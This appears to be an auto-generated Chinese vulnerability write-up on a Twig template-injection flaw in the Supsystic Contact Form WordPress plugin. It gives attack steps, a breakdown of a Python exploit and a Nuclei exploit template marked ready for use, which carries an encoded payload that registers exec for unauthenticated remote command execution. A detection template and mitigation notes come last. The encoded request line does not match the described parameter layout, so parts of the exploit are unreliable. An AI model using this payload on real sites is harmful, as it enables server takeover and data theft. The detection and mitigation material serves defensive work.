[webapps] WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI

📋 漏洞基础信息

🔬 漏洞根因

在cfsPreFill参数处理中，用户控制的输入被直接拼接进Twig模板引擎的模板字符串，未经过滤或转义，导致攻击者可通过构造Twig语法（如set、_self.env.registerUndefinedFilterCallback）实现任意PHP过滤器调用，进而执行系统命令。

🎯 攻击场景

1. 前置条件：目标WordPress站点已安装并激活Supsystic Contact Form <= 1.7.36，且存在一个包含Text/Textarea/Number/Email/Time/URL类型字段的Contact Form页面。2. 攻击步骤：a) 获取或自动检测表单中支持注入的字段名（如first_name），通过正则匹配data-name属性；b) 构造恶意Twig payload：定义编码变量、Base64编码待执行命令、利用convert_encoding解码、注册undefinedFilterCallback为exec、调用getFilter触发执行；c) 向表单页面发送GET请求，附加参数cfsPreFill=1及字段名=payload；d) 服务端在渲染表单预填值时执行Twig模板，导致命令执行；e) 从响应中提取字段对应的value属性值获得输出。3. 成功标志：输出为命令执行结果。

💥 漏洞影响

未经身份验证的攻击者可以利用此漏洞在目标WordPress服务器上任意执行系统命令，实现完全远程代码执行，可能导致服务器被控制、数据泄露、网站篡改等严重后果。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2026-4257-exploit

info:
  name: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI Exploit
  author: bootstrapbool
  severity: high
  description: SSTI vulnerability exploitation in WordPress Supsystic Contact Form plugin version <= 1.7.36
  tags: wordpress,wp-plugin,ssti,supsystic-contact-form,rce

http:
  - raw:
      - |
        GET {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: field_name
        part: body
        group: 1
        regex:
          - 'data-name="([^"]+)"'

      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'suptablesui\.min\.css\?ver=([0-9\.]+)'

  - raw:
      - |
        GET {{BaseURL}}?cfsPreFill=1&{%25%73%65%74%25%61%25%7D%55%54%46%2D%38%7B%25%65%6E%64%73%65%74%25%7D%7B%25%73%65%74%25%62%25%7D%42%41%53%45%36%34%7B%25%65%6E%64%73%65%74%25%7D%7B%25%73%65%74%25%70%25%7D%5A%47%56%79%63%33%52%68%62%43%42%6C%65%47%55%67%63%33%52%6C%5A%47%56%79%5A%51%70%39%6A%62%47%56%6A%59%32%56%7A%64%32%56%79%4C%6E%4E%6C%63%6E%4E%6C%62%32%4E%79%63%33%52%68%62%43%42%31%63%6D%56%75%5A%47%56%69%61%57%39%75%63%79%42%7A%65%57%39%31%62%47%56%6C%5A%47%56%79%65%53%42%6A%62%47%56%6A%59%32%56%7A%64%32%56%79%4C%6D%4E%76%62%6D%52%70%62%6D%56%30%61%57%39%75%4C%6D%6C%75%5A%47%56%75%64%57%39%79%62%33%56%79%5A%6E%56%76%59%33%52%70%62%6D%56%30%61%57%39%75%59%32%39%75%5A%47%6C%75%5A%58%52%70%62%32%35%6A%62%32%35%6B%61%57%35%6C%64%47%6C%76%62%6D%4E%76%62%6D%52%70%62%6D%56%30%61%57%39%75%4C%6D%56%30%63%6D%39%76%62%47%46%69%61%57%39%75%4F%67%70%39%7B%25%65%6E%64%73%65%74%25%7D%7B%25%73%65%74%25%70%20%3D%20%70%7C%63%6F%6E%76%65%72%74%5F%65%6E%63%6F%64%69%6E%67%28%28%61%29%2C%20%28%62%29%29%25%7D%7B%25%73%65%74%25%65%25%7D%65%78%65%63%7B%25%65%6E%64%73%65%74%25%7D%7B%7B%5F%73%65%6C%66%2E%65%6E%76%2E%72%65%67%69%73%74%65%72%55%6E%64%65%66%69%6E%65%64%46%69%6C%74%65%72%43%61%6C%6C%62%61%63%6B%28%65%7C%6C%6F%77%65%72%29%7D%7D%7B%7B%5F%73%65%6C%66%2E%65%6E%76%2E%67%65%74%46%69%6C%74%65%72%28%70%29%7D%7D&{{field_name}}={{cmd}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      cmd:
        - id

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "uid="
          - "root:"
          - "www-data"

    extractors:
      - type: regex
        name: output
        part: body
        group: 1
        regex:
          - 'name="fields\[[^\]]+\]"\s+value="([^"]+)"'

🔬 深度技术分析

PoC利用Python实现。1. get_page()获取目标页面HTML。2. detect_version()通过正则从suptablesui.min.css?ver=提取插件版本，判断是否<=1.7.36。3. detect_fields()通过正则data-name=提取表单字段名列表。4. handle_field()若未指定字段则自动选取第一个可用字段。5. exploit()构造Twig payload：a) utf8_var定义UTF-8字符串；b) base64_var定义BASE64字符串；c) twig_payload将命令Base64编码后用Twig set赋值；d) twig_payload_decode利用convert_encoding过滤器将Base64解码为原始命令；e) register_callback利用_self.env.registerUndefinedFilterCallback设置exec回调；f) exec_filter通过_self.env.getFilter(p)触发回调执行命令；g) 将payload作为GET参数field值发送；h) get_output()从响应字符串匹配name="fields[field]" value="..."提取结果。

🔍 Nuclei Detection 模板

以下为漏洞探测模板，用于判断目标是否受影响：

id: CVE-2026-4257-detection

info:
  name: WordPress Plugin Supsystic Contact Form 1.7.36 - SSTI Detection
  author: bootstrapbool
  severity: high
  description: Detection of SSTI vulnerability in WordPress Supsystic Contact Form plugin version <= 1.7.36
  tags: wordpress,wp-plugin,ssti,supsystic-contact-form

http:
  - raw:
      - |
        GET {{BaseURL}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "supsystic-contact-form"
        part: body

      - type: regex
        part: body
        regex:
          - 'supsystic-contact-form/.*?style\.css'
          - 'contact-form-by-supsystic'

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - 'supsystic-contact-form/[^/]+/css/suptablesui\.min\.css\?ver=([0-9\.]+)'
          - 'supsystic-contact-form\?ver=([0-9\.]+)'

    stop-at-first-match: true

🛡️ 修复建议

官方尚未发布补丁；临时缓解措施包括：禁用Supsystic Contact Form插件，或通过Web应用防火墙（WAF）拦截包含Twig语法（如{%set%、{{_self.env）的请求参数，或禁用PHP的exec函数。

📎 参考链接

• https://www.cve.org/CVERecord?id=CVE-2026-4257
• Exploit-DB 原文

🚨 威胁评估

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-20 08:08 | 来源: Exploit-DB